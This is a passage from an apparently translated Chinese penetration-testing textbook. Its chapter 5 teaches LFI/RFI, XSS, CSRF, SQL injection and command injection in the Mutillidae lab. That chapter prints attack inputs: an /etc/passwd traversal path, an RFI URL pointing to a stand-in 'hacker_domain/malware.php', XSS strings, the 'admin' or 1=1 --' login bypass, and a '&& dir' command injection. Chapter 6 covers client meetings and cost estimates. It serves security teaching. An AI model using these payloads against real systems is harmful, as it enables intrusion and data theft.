在下一章节中,我将向你展示 Web 应用漏洞的基础知识:这是一个非常有趣且激动人心的话题,它将帮助你提升和加深你的渗透测试技能。
第五章:了解 Web 应用程序漏洞
本章将成为你应用程序安全性的主要支柱。你将了解该领域中最常见漏洞背后的逻辑。大多数远程执行的攻击都利用 Web 应用程序基础设施进行入侵。在网站上发现像 SQL 注入这样的漏洞可能非常危险,因为攻击者可以完全控制服务器。
Web 应用程序是用不同的编程语言编写的,但最常见的语言是 Java、.NET 和 PHP。如今,我们看到 Web 应用程序编程正在发生转变,JavaScript 语言或前端发挥了重要作用。公司正在使用轻量级的前端技术,如 AngularJS,来实现单页面应用程序的理念。作为一名应用程序安全渗透测试员,你需要了解这些技术中存在的漏洞,因为开发人员往往使用这些炫酷的功能而没有理解其带来的安全风险。
因此,本章将解释可能发生在 Web 应用程序中的攻击,完成本章后,你将能够在渗透测试中手动操作你的发现,运用你的技能。在本章中,你将学习以下重要内容:
-
远程和本地文件包含
-
跨站脚本攻击 (XSS)
-
跨站请求伪造 (CSRF)
-
SQL 注入 (SQLi)
-
命令注入
-
OWASP 十大安全漏洞
文件包含
顾名思义,这种漏洞可以通过在 URL 中包含文件(通过输入路径)来利用。被包含的文件可以是服务器本地的,因此称为 本地文件包含,也可以是指向远程文件的路径,因此称为 远程文件包含。
现代编程语言和 Web 服务器内置了保护机制以防止此类缺陷。不幸的是,在现实中,你会遇到许多由遗留编程语言(如 JSP(Java)、ASP(Microsoft)和 PHP)开发的应用程序,因此仍然有可能找到类似的漏洞。造成此问题的一个原因是开发人员忘记在服务器端进行验证。
本地文件包含
本地文件包含 (LFI) 是通过在 URL 中包含指向托管 Web 应用程序的本地 Web 服务器的文件路径来利用的。当这个漏洞被利用时,会允许注入目录遍历字符(如点点斜杠)。
考虑以下示例:
http://domain_name/index.php?file=hackme.html
如果我能将 hackme 文件更改为 Web 服务器系统上的另一个文件,怎么办?让我们来看看吧!
http://domain_name/index.php?file=../../../../etc/passwd
有趣吧?这将加载 Linux Web 服务器上的 passwd 文件。让我们看一个更具体的例子,使用 Mutillidae:
- 浏览到 Mutillidae 首页,选择左侧菜单中的 OWASP 2017,然后选择 Broken Access Control | 不安全的直接对象引用,接着点击任意文件包含:

- 看一下这个网址,你看到我们刚才一起看到的相同模式了吗?

- 让我们试试看能否从服务器上显示一个文件:

看!我刚刚利用了这个漏洞。现在,试试自己操作吧。
远程文件包含
远程文件包含(RFI)是通过在 URL 中包含一个指向远程文件的文件路径来利用的,这个文件路径指向托管 Web 应用程序的 Web 服务器之外的远程文件。
考虑以下示例:
http://domain_name/index.php?file=http://hacker_domain/malware.php
在前面的 URL 中,受害者服务器将加载位于黑客服务器上的malware.php页面。让我们通过使用 Mutillidae 来看一个实际示例:
-
浏览到 Mutillidae 首页并选择 OWASP 2017。我们将选择之前用于本地文件包含的相同菜单,即,破损访问控制 | 不安全的直接对象引用 | 任意文件包含。
-
所以,这是我们之前测试过的本地文件包含页面,但现在,我们将看看能否包含一个远程文件。在利用这个漏洞之前,我们需要先在服务器级别进行一些更改。此页面为您提供了更改服务器配置文件的帮助。我将登录到 Web 服务器并更改
C:\xampp\php\下的php.ini文件(如果你使用 Linux 托管 Mutillidae,你的路径会有所不同):

- 现在我们已经更改了配置,使用 XAMPP 控制面板重新启动 Web 服务器。让我们看看是否能攻破这个页面。所以,修改 URL,让它指向并加载另一个站点,
http://ethicalhackingblog.com:

正如你所看到的,我成功地将我的博客网站加载到了 Mutillidae 应用程序中。试想一下,如果黑客将他的感染网站加载到另一个对数百万用户可访问的应用程序中,比如 Facebook,或者你的客户/雇主的网站,造成的损害将是灾难性的。
跨站脚本攻击
跨站脚本攻击(XSS)是在攻击者能够在受害者的浏览器上成功执行任何类型的脚本(例如,JavaScript)时被利用的。这类漏洞的存在是因为开发人员没有验证请求或没有正确编码应用程序的响应。JavaScript 并不是唯一用于 XSS 的脚本语言,但它是最常见的(事实上,这是我最喜欢的);攻击者有时还会使用其他脚本语言,如 VBScript、ActiveX、Flash 等。
XSS 非常普遍,在测试 Web 应用时我每天都会遇到。每当我看到页面上显示的信息反映了用户的输入或行为时,那么它很可能存在 XSS 漏洞。但不用担心,随着经验和实践的积累,很多问题会变得更加明显。XSS 攻击有三种类型:存储型、反射型和DOM 注入。我们从最容易理解的反射型 XSS 开始。
反射型 XSS
这个漏洞常常在页面展示给用户的内容可以通过 URL 或页面正文动态修改时被利用。没有什么比视觉示例更能说明问题了,接下来我们来看一个使用 Mutillidae 的反射型 XSS 案例:
- 在你的 Kali Linux 上,打开浏览器并访问首页,然后在左侧菜单中选择 OWASP 2017 | Cross Site Scripting | Reflected | DNS Lookup。你需要测试的第一件事是正常路径,所以让我们输入一个真实的 IP 地址(在这个例子中,我使用的是
10.0.0.1,也就是我的家庭路由器)并点击“Lookup DNS”按钮:

- 如您所见,页面已经显示了我们刚刚输入的 IP 地址。这意味着,如果我将 IP 地址替换为一段 JavaScript 代码,它将执行该代码。在文本框中,将 IP 地址替换为测试脚本,
<script>alert(1)</script>:

- 点击“Lookup DNS”按钮,看看这个脚本是否会执行:

在这个例子中,我使用了alert(1) JavaScript,通常这就足够用于渗透测试了。另一方面,黑客会使用更复杂的 JavaScript 逻辑来收集受害者的个人信息。
如果你想了解更高级的 XSS 攻击,可以在你的 Kali Linux 主机上查看Beef XSS 框架。使用这个工具后,你会对 XSS 漏洞带来的攻击选择感到惊讶。
存储型 XSS
第二种攻击是存储型 XSS。利用这种漏洞时,攻击者通过页面(例如博客、CMS、论坛)将脚本(JavaScript)保存到某个存储位置(例如数据库、文件、日志)。这个漏洞很危险,因为它是持久的,且在任何人稍后访问受感染页面时都会执行。想象一下,在 Facebook(或任何社交媒体平台)上,你可以提交一条包含 JavaScript 代码的帖子,任何看到该帖子的用户都会执行这段代码;是不是很惊人?
请不要在 Facebook 上尝试——我这里只是给出一个例子,你可不想惹麻烦!(顺便说一下,Facebook 和其他大公司提供漏洞赏金计划,如果你发现任何漏洞,他们会付钱给你。)
这就是我们需要 Mutillidae 的原因;它帮助我们测试这个概念并查看它是如何工作的:
- 进入 Mutillidae 的首页,然后在左侧菜单中选择 OWASP 2017 | Cross Site Scripting | Persistent | Add to your blog:

- 和之前一样,我们将尝试插入与之前相同的 JavaScript 警报,并通过点击保存博客条目按钮来执行它(但这次它将作为博客内容被存储):

现在,每次用户访问这个博客时,页面加载时都会弹出 JavaScript 警报,因为它被存储在数据库中。
利用头部进行存储型 XSS 攻击
另一个我想与您分享的有趣示例是使用头部将 JavaScript 注入页面。很狡猾吧?但是不要惊讶,网络应用程序的本质使我们能够通过头部操控网页。
让我们可视化这个案例,以便您能更好地理解:
- 访问 Mutillidae 的主页,然后在左侧菜单中选择 OWASP 2017 | 跨站脚本攻击 | 持久性 | 查看日志:

- 此页面记录了每次访问 Mutillidae 应用程序的情况。第三列存储了访问者的浏览器代理值。如果该访问者是恶意的,使用 Burp 将他的浏览器代理替换为 JavaScript 会怎样?

- 所以,我将使用 Burp 的代理选项卡拦截页面,然后通过 JavaScript 警报修改浏览器代理,并将其转发到服务器(使用转发按钮):

看!这是我们使用 XSS 技巧在 Burp 中更改浏览器用户代理的结果。这是一个持久性的 XSS 攻击,每次该网站的管理员访问此页面时,都会看到我们的有效负载。
DOM XSS
在上述前两种类型中,我们已经使用 HTML 利用了 XSS 漏洞。然而,DOM XSS 注入是通过 JavaScript 代码完成的,而不是通过 HTML 元素。让我们看一个实际的例子:
- 访问 Mutillidae 的主页,然后在左侧菜单中选择 OWASP 2017 | 跨站脚本攻击 | 基于 DOM 的 | 密码生成器。
此页面使用用户名查询字符串值(在本例中为匿名)在页面上显示(它显示为“此密码适用于[用户名]”)。
- 首先,让我们尝试在 URL 中将匿名用户名的值更改为
gus:

- 让我们通过按F12键查看页面源代码,看看我们是否能分析它。在 Firefox 的开发者工具中,按Ctrl + F查找 DOM 中的
gus。第一次匹配会显示 HTML 部分,第二次匹配会显示 JavaScript 部分:
<script>try{ document.getElementById("idUsernameInput").innerHTML = "This password is for gus"; }catch(e){ alert("Error: " + e.message); }// end catch</script>
- 看一下结果,我们可以操作 DOM 字符串,使其在 JavaScript 中看起来合法并且可执行:
try{document.getElementById("idUsernameInput").innerHTML = "This password is for ";}catch(e){};alert(1);try{v=" ";}catch(e){alert("Error: " + e.message);}
- 然后,转到 Burp/Decoder 中的解码器选项卡,并将该值粘贴到那里,将其编码为 URL(在右侧部分选择“Encode as...”然后从下拉列表中选择“URL”):

- 最后,让我们将编码后的结果粘贴到密码生成器页面的 URL 中。点击浏览器中的刷新按钮,你应该会看到一个警报:

JavaScript 验证
如果页面受到了 JavaScript 验证保护,你认为我们还能攻击它吗?当然可以;JavaScript 验证是不够的——我们还应该在服务器端进行验证。让我们看看如何使用 Burp 克服 JavaScript 验证:
- 首先,我们将安全级别切换到 1,这样就会启用 JavaScript 验证,方法是点击 Mutillidae 菜单栏中的Toggle Security按钮:

- 尝试从菜单中访问上述相同页面;在左侧菜单中,选择 OWASP 2017 | 跨站脚本攻击 | 反射型 | DNS 查找,然后让我们尝试执行我们的警报脚本:

如你所见,脚本被浏览器阻止了,它甚至没有允许我继续输入脚本,因为文本框字段上应用了验证规则。但这不应该成为阻止我们继续前进的原因;我将启用浏览器中的代理(如我在上一章中向你展示的),并启动 Burp/Proxy 来拦截请求:

- 我将更改
target_host值并插入我的警报脚本。接下来,我们将其转发到服务器(使用“Forward”按钮):

看这里!JavaScript 成功执行了:

跨站请求伪造
跨站请求伪造(CSRF)(有些人将其发音为sea surf),当攻击者利用用户会话执行更改状态的请求时,如发布到社交网络平台、转账等,可以被利用。
这种攻击将需要攻击者进行一些社会工程学操作,来说服受害者访问被感染的站点。假设受害者是系统的管理员,那么攻击者可以在该系统没有 CSRF 保护的情况下操控它。在应用安全工程师职位的面试中,最常见的问题是:XSRF 和 XSS 有什么区别? 答案越简洁越好。简而言之,XSS 攻击依赖于在受害者的浏览器中执行 JavaScript,而 XSRF 依赖于利用受害者的会话。下次面试时,记住这一点,或许这能帮助你获得梦寐以求的工作!
首先,你需要理解一个重要的基本概念。当你第一次对网站进行身份验证时,一个会话 cookie 会为你唯一创建,并且该 cookie 将保持有效直到过期。这个概念的另一个棘手之处在于,即使你浏览到另一个站点(例如攻击者站点),你的会话 cookie 仍然会保持。我们来看一个 CSRF 的例子:
步骤 01 - 受害者
受害者将在这种情况下使用 Mutillidae 的登录页面登录他的账户。一旦登录,他会浏览到他的博客页面(使用左侧菜单,然后选择 OWASP 2017 | CSRF | 添加到你的博客)。他用博客添加了一篇新文章(你知道这个家伙是个超级博客写手!):

步骤 02 – 攻击者
另一方面,攻击者已经访问了同一个博客网站,并且他有一个不同的账号,每天用来发布关于匿名活动的博客文章。攻击者发现这个网站已经存在跨站请求伪造(CSRF)漏洞,他使用他最喜欢的扫描工具 Burp 进行了扫描。接下来,他将构建一个恶意页面来感染他的受害者。为了构建该页面,他启用了 Burp 的代理/拦截功能,分析 Web 请求的内容。在拦截页面中,他会右键点击请求并尝试生成 CSRF POC(概念验证):

此后,一个新的弹出窗口会出现。在这一刻,攻击者可以将生成的 HTML 代码复制出来,并使用 Burp 生成的内容(通过点击复制 HTML 按钮):

然后,攻击者 Elliot 将这段 HTML 代码保存到他的 Kali 机器的 web 服务器上(他将 HTML 文件复制到/var/www/html/目录,并使用命令service apache2 start启动了 Apache 服务器):

现在,Elliot 的服务器已经准备好让受害者访问。他运用了社会工程学手段,成功说服受害者访问该页面并点击这个神奇的按钮:
为了让这个攻击成功,受害者需要先通过 Mutillidae 登录。记住,我们将使用他的会话,因此我们需要确保他已登录系统并且会话处于活动状态!
结果
点击这个按钮(提交请求按钮)后,受害者将会惊讶地发现,当他访问自己的博客页面时,看到了一篇他没有保存的博客。哎呀!太可惜了,先生,受害者,因为博客存在 CSRF 漏洞!

SQL 注入
SQL 注入是我最喜欢的攻击方式,也是你在职业生涯中最危险的一种。SQL 注入漏洞允许恶意用户通过 Web 浏览器在数据库上执行 SQL 命令。这个问题的根源和其他 Web 漏洞类似;开发人员忘记在服务器端添加验证以防范 SQLi 攻击。
这是最有趣的部分;SQL 注入漏洞将允许你做以下事情:
-
使用
select语句查询数据库(例如,选择 users 表,从而提取用户名和密码) -
通过执行成功的查询结果绕过登录页面(你将很快看到一个示例)
-
在数据库中执行系统命令以入侵 Web 服务器
-
执行插入/删除命令以操作数据库中的记录
该展示的时候到了,大家准备好震惊吧!你将看到这个漏洞对系统的威力有多强大。
绕过身份验证
当用户尝试进行系统身份验证时,后端会执行一个类似这样的查询(在这个示例中,我使用的是我登录 Mutillidae 时的凭据):
select * from users where username='gus' and password='password123'
执行前述查询后,数据库将检查记录是否存在,如果存在(记录确实存在),则返回布尔值True,并且用户通过身份验证。黑客将利用这个理论,通过一个始终返回True值的查询来欺骗数据库:
select * from users where username ='admin' or 1=1 -- and password = ''
or 1=1将始终返回一个正确的值,而--符号告诉 MySQL 在其后面的内容是注释,因此它会忽略查询的其余部分;巧妙吧?
在 Mutillidae 中测试这个思路,在菜单中选择:OWASP 2017 | 注入 SQL | SQLi - 绕过身份验证 | 登录。
一旦你进入登录页面,输入我们之前看到的魔法查询来绕过此页面的身份验证(有时你需要在--后输入一个空格字符才能使此查询生效):

看这里,伙计们!我是一个超级管理员已认证用户(见下图截图):

从数据库中提取数据
大多数在线泄露的密码就是通过这种攻击方式获得的。如果你在渗透测试中遇到这个漏洞,那就意味着你中了大奖。这里的关键是能够执行著名的查询:
select * from users
假设数据库中有一个用户表,这个查询将从数据库中提取所有用户的记录。这就像圣诞节一样;你将得到所有的用户名和密码,仿佛是包裹里的礼物。
基于错误的 SQLi 枚举
这种技术依赖于操控任何输入(例如,查询字符串)到后端,并等待错误消息出现。
没有什么比真实示例更有说服力了,让我用 Mutillidae 给你展示一个例子:
-
在 Mutillidae 的首页,从左侧菜单中选择以下项目:OWASP 2017 | 注入 SQL | SQLi - 提取数据 | 用户信息 (SQL)。
-
在用户查找页面,输入你的凭据并点击“查看账户详情”按钮:

此页面在后端执行一个查询以获取我们的用户名和密码。让我们在名字字段中输入一个单引号'并检查结果(单引号):

如你所见,底部有一个错误信息,告诉我们 SQL 服务器无法理解我们的单引号:
select * from accounts where username=''' and password=''
- 换句话说(在黑客世界中),SQL 数据库执行了我们的单引号,因此我们可以编写自己的查询来从数据库中提取数据。如果我们尝试执行绕过登录页面的魔法查询(
admin' or 1=1 --),那么猜猜看?数据库将很高兴地返回所有账户表中的记录:

Blind SQLi
当我们没有详细的错误消息,且数据库仍然在后台执行查询时,我们就可以盲目地进行 SQL 注入:这被称为盲 SQL 注入。你可以使用前面展示的相同示例,但假设服务器不会为你返回错误消息。最终,你仍然可以执行魔法查询(admin' or 1=1 --)。
命令注入
命令注入非常简单,你只需要通过在网页上执行命令来利用它,因为它允许你这么做。换句话说,如果你曾经看到一个页面提供了在后台执行命令的功能,那么它很可能容易受到这种攻击。命令注入在CTF(夺旗赛)中非常流行,因为它允许你完全控制远程机器(托管网页应用程序的机器)。
一如既往,让我们使用 Mutillidae 来看一个实际例子。打开左侧菜单 OWASP 2017 | 注入 | 命令注入 | DNS 查找:

这个页面在后端执行 DNS 查找命令。在这个例子中,我输入了 IP 地址10.0.0.1并点击了Lookup DNS按钮。
你认为我们能否覆盖此页面的正常行为并执行任何我们喜欢的命令?(或者可能执行一个后门,例如netcat,仅供参考)。我们先来分析一下这个页面的功能。我们将 IP 地址(或主机名)作为变量传递给后端的一个函数,后端很可能是以如下方式执行的:
nslookup [domain name variable]
如果我们运气好,而且开发者没有做验证,我们可以在变量后附加其他命令,应用程序将会很高兴地为我们执行它。我们的目标是让后端执行如下内容:
nslookup [domain name variable] && [other command]
让我们看看这是否有效!对于 POC,我将使用dir命令(因为它是托管 Mutillidae 的 Windows 机器)。
我将在主机名/IP 中输入 IP 地址和dir命令:10.0.0.1 && dir,然后点击 Lookup DNS 按钮:

太棒了!dir命令已成功执行!
OWASP Top 10
在前面的章节中,你已经看到了 OWASP Top 10 中最重要的 Web 应用程序漏洞。OWASP 列表中包含的项目比你到目前为止看到的还要多。应用程序安全专家在职业生涯中总是将 OWASP Top 10 作为参考。这个列表始终由 OWASP 社区保持更新,最新版本就是你在 Mutillidae 菜单中看到的 OWASP Top 10 – 2017;如果你在未来阅读这本书,可能会看到更新的版本。
如果你对前面提到的十大项目中的任何一项存在疑问,请不要担心,因为我们将在本书后面的 Web 入侵测试部分使用更多实际示例再次回顾这些项目;目前,尽量从大局上理解。
让我们以简化的方式来看看排名前十的项目,这样你可以从高层次的视角理解这些漏洞。
1 – 注入漏洞
注入漏洞可能发生在由于缺乏清理而导致攻击者可以在后台注入并执行自定义命令的情况下。在本章中,你已经看到了 SQL 注入和命令注入,但还有更多类型,例如 LDAP、XPath、NoSQL、对象关系映射(ORM)工具、XML 解析器和 SMTP 头(这个列表还在不断增加)。
2 – 身份验证失败
当黑客找到用户的身份、凭证(包括用户名和密码)或 Web 会话时,会发生这种漏洞。系统可能会在以下情况下发生:
-
允许自动化攻击,攻击者可以猜测有效的用户名和密码
-
允许暴力破解或其他自动化攻击
-
允许使用默认的、弱的或常见的密码,例如
Password123 -
使用弱或无效的凭证恢复和忘记密码方法
-
使用明文、加密或弱哈希的密码
-
在 URL 中暴露会话 ID
-
在成功登录后未正确管理会话
3 – 敏感数据
当 Web 应用程序以明文处理机密信息时,无论是在静态状态下(例如,数据库连接字符串密码以明文形式存储)还是在传输过程中(例如,使用 HTTP 而不是 HTTPS),都会发生此漏洞。实际上,你需要注意以下问题:
-
缺少安全头(稍后我们将在讨论安全编码实践时向你展示安全头)
-
任何在静态状态或传输过程中使用的弱加密算法(例如,MD5)
-
任何用于传输数据的明文协议(例如,HTTP、FTP、Telnet 或 SMTP)
-
任何 TLS/SSL 证书的问题
4 – XML 外部实体
仍然使用 XML/SOAP Web 服务的旧应用程序最容易受到此类攻击。事实上,任何使用 XML 来执行其功能的应用程序(或后端)都会成为这种漏洞的受害者;这种攻击可能导致拒绝服务(DOS)。因此,以下是你在处理 XML 项目时应牢记的清单:
-
应用程序是否使用早于 1.2 版本的 SOAP?
-
应用程序是否在联合身份认证或单点登录(SSO)环境中使用 SAML?
-
应用程序是否支持任何 XML 文件上传?
-
应用程序是否执行 XML 中的任何可被篡改的项目?
5 – 访问控制破坏
当攻击者能够执行他不允许执行的功能(例如,管理员权限)时,就会发生这种攻击。这个漏洞可能导致信息泄露以及执行不想要的操作,如删除、添加或修改数据。从实际操作的角度看,作为渗透测试人员,问自己以下问题:
-
你能调用后端 Web 服务(SOAP 或 REST)并执行非预期的操作吗?
-
作为普通用户,你能调用管理员功能吗?
-
服务器是否验证JSON Web Tokens(JWT)?
6 – 安全配置错误
这个漏洞是由于服务器(Web、Web 服务或数据库)中的不安全配置引起的。它包括基础设施级别的配置,而不仅仅是应用程序层面的配置。作为一名应用程序安全专家,你需要检查基础设施层级的安全性和应用程序层级的安全性。我们来看一些可以给我们提供灵感的建议:
-
是否有任何生产服务器(Web、Web 服务或数据库)缺少补丁?
-
是否有任何生产服务器(Web、Web 服务或数据库)存在默认的非安全设置?(例如,默认凭证。)
-
是否在任何服务器上启用了不必要的服务?
-
应用程序是否使用显示给用户的默认错误消息,透露堆栈跟踪的详细信息?
-
是否有任何开发环境被部署到生产环境中?(例如,测试页面、测试凭证、测试数据。)
7 – 跨站脚本攻击(XSS)
你应该已经知道这个漏洞了吧?只需提醒一下:当攻击者能够在浏览器上执行 JavaScript 时(反射型、存储型或基于 DOM 的 XSS 攻击),就会利用此漏洞。
8 – 不安全的反序列化
这个情况很少见,可能在你的职业生涯中永远也不会遇到,但既然它出现在列表中,我还是得给你一个解释。这个攻击可以在任何序列化/反序列化数据的系统上执行。当攻击者修改应用程序的逻辑或试图运行远程代码执行时,如果应用程序中有能够改变行为或在反序列化过程中或之后执行的对象,就可以实现此攻击。
9 – 使用存在已知漏洞的组件
这个漏洞与不安全或易受攻击的应用程序组件有关(例如,第三方库)。在实践中,总是问自己以下问题,看看是否存在这种漏洞:
-
应用程序是否使用了任何不安全的库?
-
是否使用了任何未修补/遗留软件?
-
是否使用了任何不安全的组件来支持应用程序?(例如,Flash、ActiveX、VBS 等;你懂的。)
10 – 日志记录与监控不足
不足的日志记录和监控将允许攻击者在没有任何检测的情况下发动攻击。此外,不足的日志记录还将无法证明任何行为。换句话说,我们无法验证用户行为的否认。例如,一个用户可以在我们的在线商店购买一件价值 0$的商品,但我们没有任何证据证明他/她做过这件事。
总结
希望你已经很好地理解了这一章!我是认真的;这一章是你理解应用安全漏洞的关键。如果你对前面提到的任何内容有疑问,请停下来再复习一次。你应该已经在实验机上安装了 Mutillidae,并开始练习所有前面的示例。
本章讨论的主题并没有涵盖所有的 Web 应用漏洞,但我涵盖了你在职业生涯中将会遇到的最重要的一些。SQL 注入是最危险的,而跨站脚本(XSS)则是你在 Web 渗透测试中最常遇到的漏洞。
接下来,我们将反复回顾这些漏洞,这就是为什么你必须掌握这一章的原因;如果你没有掌握,接下来的章节你将很难理解。
第六章:应用安全预先参与
本章将向你介绍应用安全预先参与过程。在开始渗透测试活动之前,有很多事情需要考虑。如果你是自由职业顾问,请准备与当地律师紧密合作,以帮助你成功完成这一阶段,并避免将来对你采取法律行动。如果你是员工并且属于公司安全团队,那么你不需要律师,实际上,你只需要经理的批准。
是的,本章专门针对自由职业承包商,但这并不意味着如果你是员工,你就不需要阅读它。实际上,作为员工,你将始终与承包商打交道,你必须理解他们业务的性质。
这是你开始渗透测试活动之前的计划:

介绍
人们认为网络应用渗透测试是一项简单的任务,但事实并非如此,开始测试之前有很多准备工作需要做。网络应用渗透测试的主要活动包括:
-
源代码审查或静态代码分析:此活动涉及分析源代码,以识别不良的安全实践。
-
Web 入侵测试或动态代码分析:此活动检查客户的网站是否容易受到诸如跨站脚本、SQL 注入等攻击。
-
基础设施测试:这将涉及评估和利用(如果可行)Web 服务器和数据库服务器的漏洞。
-
信息收集:在此活动中,你将通过互联网资源收集有关客户的信息。此测试将揭示任何数据泄露给公众的情况。
本章将帮助你学习如何在开始测试之前签署所有必要的合同。此外,你还将学会如何在开始测试之前进行估算、确定范围和安排时间。一个精心规划的项目成功的概率最高。你能想象一个工程师在没有计划的情况下建房子吗?你的项目也应该如此!
第一次会议
在第一次会议之前,你需要做好准备,以避免出现不专业的后果。确保遵循以下清单,帮助你在会议前成功达成目标:
-
确保记住你将要见面的人的全名
-
提前规划好你的行程,确保准时参加会议,并再次确认日期和时间
-
即使你更喜欢极客的外表,也要穿着专业
-
准备你的材料(例如笔记本电脑)以及任何你愿意与客户分享的宣传单
-
准备好你的演讲,以确保在谈论该主题时听起来专业
-
规划你想要讨论的主题,并根据会议的时间间隔将其写下来
-
访问客户的网站,了解他的业务,并对他的安全意识有个大致了解
-
使用你喜欢的搜索引擎(例如,Google),通过在搜索框中输入公司名称,快速查找有关客户的信息。
与客户的会议日期。
如果这是一个老客户,那么此会议将没有意义,在这种情况下,你可以跳过这一步,直接进入下一步——合同准备。
如果你事先做足了准备,研究了我之前提到的步骤,那么这次会议应该对你来说轻松如意。你和团队到达前台后,毫不犹豫地询问与会者的名字。然后,联系人出现,你会带着微笑与他们握手并介绍你的团队成员。进入会议室后,你打开你的笔记本电脑,在此之前你应该已经测试过它。现在该怎么办?别担心!在接下来的列表中,我会展示你需要考虑的所有细节:
-
向会议上的其他与会者介绍自己和团队成员(包括他们的职务,例如
John Doe,市场经理)。接下来,介绍你的公司:-
公司历史。
-
公司位置。
-
公司客户。
-
它的功能(例如,专注于 web 应用程序安全等)。
-
说一些能引起客户注意的话;例如,如果你的客户从事电子商务业务,可以提到你上一次电子商务测试的成功经验。如果你事先做了功课并了解了客户的兴趣,这项任务应该很简单。
-
-
解释你的渗透测试方法(你的团队将支持的测试类型):
-
应用威胁建模将为你提供一个渗透测试活动的架构概览。
-
Web 应用程序基础设施测试将包括以下服务器:Web 服务器和数据库服务器(端口映射、漏洞评估、DOS)。此外,还应涵盖所有与 Web 应用程序基础设施相关的服务器,如 FTP 服务器、邮件服务器、Telnet 服务器和 SSH 服务器。有时,攻破一台服务器可能会导致对整个网络的完全控制,如果目标服务器允许全局管理员权限。
-
代码审查测试会显示你客户的 web 应用程序源代码中的任何漏洞。
-
Web 应用程序入侵测试将允许你像黑客一样测试和攻击 Web 应用程序。在测试过程中,讨论你将遇到的漏洞类型非常有趣。例如,你可以谈论 SQL 注入测试以及你公司在测试这些漏洞时所考虑的重要因素。你还可以提到你的团队经过良好的培训,并遵循 OWASP 方法论的国际标准来进行此类测试。
-
信息收集是一种渗透测试人员使用的技术,通过互联网资源收集关于客户的信息。
-
报告是一个关键话题,你应该向客户展示并解释你在完成渗透测试后使用的典型报告模板。
-
提到你将在测试中使用的工具,以展示你的专业水平以及你对发现漏洞的严肃态度。
-
-
黑盒测试与灰盒测试与白盒测试:
-
白盒测试:如果客户认真对待测试结果的有效性,应该推荐这个测试。白盒测试将要求客户提供完成测试所需的所有信息。这将包括 Web 应用程序的基础设施图(IP 地址、域名和 URL),包括源代码和任何有助于团队达成目标的信息。如果你能获得所有必要的信息,你的团队将领先于任何攻击者,无论是外部还是内部的。
-
灰盒测试:由于客户的时间和预算考虑,有时这种测试是可以接受的。灰盒测试员会获得有关公司基础设施的有限信息。此测试能够部分覆盖来自外部入侵者或内部员工的攻击。
-
黑盒测试:这个测试不太推荐,但最终还是由客户决定。如果你决定进行此测试,意味着你的团队将无法获得公司基础设施的任何信息。你的团队应像黑客一样进行测试,信息是有限的。你的任务是向客户解释这种测试的副作用,以及拥有全部基础设施信息的重要性。
-
-
你需要让客户了解你收取的评估费用,并且合同中将包含所有测试的估算成本:
-
基础设施测试将根据每台服务器(Web、数据库、FTP 等)收费
-
代码审查将根据代码行数收费
-
Web 应用程序入侵测试将根据需要测试的 URL 和页面数量收费
-
-
向客户说明接下来的步骤;这应该让他们知道你接下来的计划,首先是签署保密协议(NDA)以及启动会议。我将在接下来的章节中详细讲解这两个步骤。在会议结束时,告诉客户安排启动会议并确认日期和时间,并提到你会等待他的会议邀请。
-
与客户讨论信息传输方式。最好是你拥有一个安全的云平台,可以用来与客户交换文件(例如合同)。所有邮件通信应该在必要时进行签名和加密,以保护客户数据,并表明你在安全方面是认真的。
保密协议
在这个阶段,您需要在进一步进行之前咨询您所在地区的律师,因为接下来的步骤是启动会议,您和客户之间将交换机密信息。为了保护您的公司和客户,您需要签署 NDA 合同,以保护客户信任给予您的所有交换信息。
要找到 NDA 样本,请查看您所在国家/地区的法律;例如,在加拿大,我们有一个很好的网站LawDepot.ca,提供根据您所在省份的法律合同样本的大量选择。
启动会议
假设您已经签署了我在前一节提到的保密协议,那么您可以继续进行启动会议。对于您的渗透测试阶段来说,这个事件非常重要,因为它将使您能够了解完整的基础设施以及客户网站支持的功能。在此会议之前,您应该要求客户准备一个与利益相关者一起进行的演示。将整个渗透测试团队带到这次会议上是个好主意,这样他们将更好地理解客户的需求。对客户架构的良好理解是您成功的关键。这次会议可能会更长,这取决于客户的基础设施和网站的复杂性。以下是为了会议成功而需要考虑的一些重要想法:
-
客户应向您展示一个展示 Web 应用程序基础设施的架构文档。该图应显示非军事区(DMZ)网络的高级概述。问清楚所有必要的问题,以理解基础设施的所有内容。确保客户的图表包含
-
所有服务器;Web、数据库、FTP、Telnet、SSH、邮件
-
服务器之间的连接;HTTP/HTTPS/VPN
-
该图应显示面向互联网的服务器与内部网络的服务器
-
它应显示所有安全基础设施,包括:非军事区(DMZ)/防火墙/入侵检测系统(IDS)/入侵防御系统(IPS)/虚拟专用网络(VPN)/Web 应用防火墙(WAF)/路由器/交换机
-
-
客户应向您展示 Web 应用程序的功能,其中应包括以下几个方面:
-
客人区域,每个人都可以访问
-
已认证区域,只有经过认证的用户可以访问
-
管理区域,只有管理员可以使用
-
-
尝试确定 Web 应用程序是否与本地 Web 服务和第三方 Web 服务进行交互。
-
客户的网站架构师应在会议期间出席,以展示应用程序源代码架构。在此会议中,您还应识别所有后端和前端技术,如 ASP.NET 或 Java 用于后端,以及 JavaScript / JQuery / Angular 用于前端。
-
在会议结束时,你需要要求客户通过安全渠道发送会议中展示的所有图表(或使用安全的 USB 交换),因为你将需要它们进行以下操作:
-
估算项目的成本
-
估算项目范围
-
估算测试计划
-
签署并填写正式合同
-
准备应用程序威胁建模文档
-
时间和成本估算
时间估算至关重要,这将向客户证明你在提供服务方面的高效性和专业性。你也不想浪费客户的时间和金钱。如果你想高效地估算项目时间,你需要考虑多个因素。
-
顾问的经验非常重要,因为高级顾问可能需要 5 小时完成一次渗透测试,而初级顾问可能需要 10 小时来完成相同的测试。
-
在估算项目时,始终增加 15-20%的风险。
-
启动会议是时间估算中最重要的部分。此次会议将揭示你在测试过程中可能遇到的大部分障碍。
假设你已经完成了启动会议,并且客户已提供以下架构图:

此外,在启动会议期间,我们的应用程序安全专家在客户网站的展示过程中做了笔记(www.clientdomain.com):
| 页面复杂度 | 页面数量 | 估算 | 备注 |
|---|---|---|---|
| 非常高 | 10 | 16 小时/页 = 160 小时 | 关键页面,涉及资金交易/管理页面 |
| 高 | 20 | 8 小时/页 = 160 小时 | 动态页面,输入控件/查询字符串较多 |
| 中等 | 50 | 4 小时/页 = 200 小时 | 动态页面,输入控件较少 |
| 低 | 15 | 1 小时/页 = 15 小时 | 静态页面 |
接下来,客户的架构师向我们的团队展示了代码源结构以及他们如何实现现有的安全措施。我们的.NET 专业渗透测试员在演示过程中做了些笔记。此举的目的是能够发现测试人员可能遇到的复杂问题,并避免在测试过程中出现意外:
| 项目 | 备注 | 估算 |
|---|---|---|
| 配置 | web.config包含未加密的关键数据。此文件需要检查。 |
4 小时 |
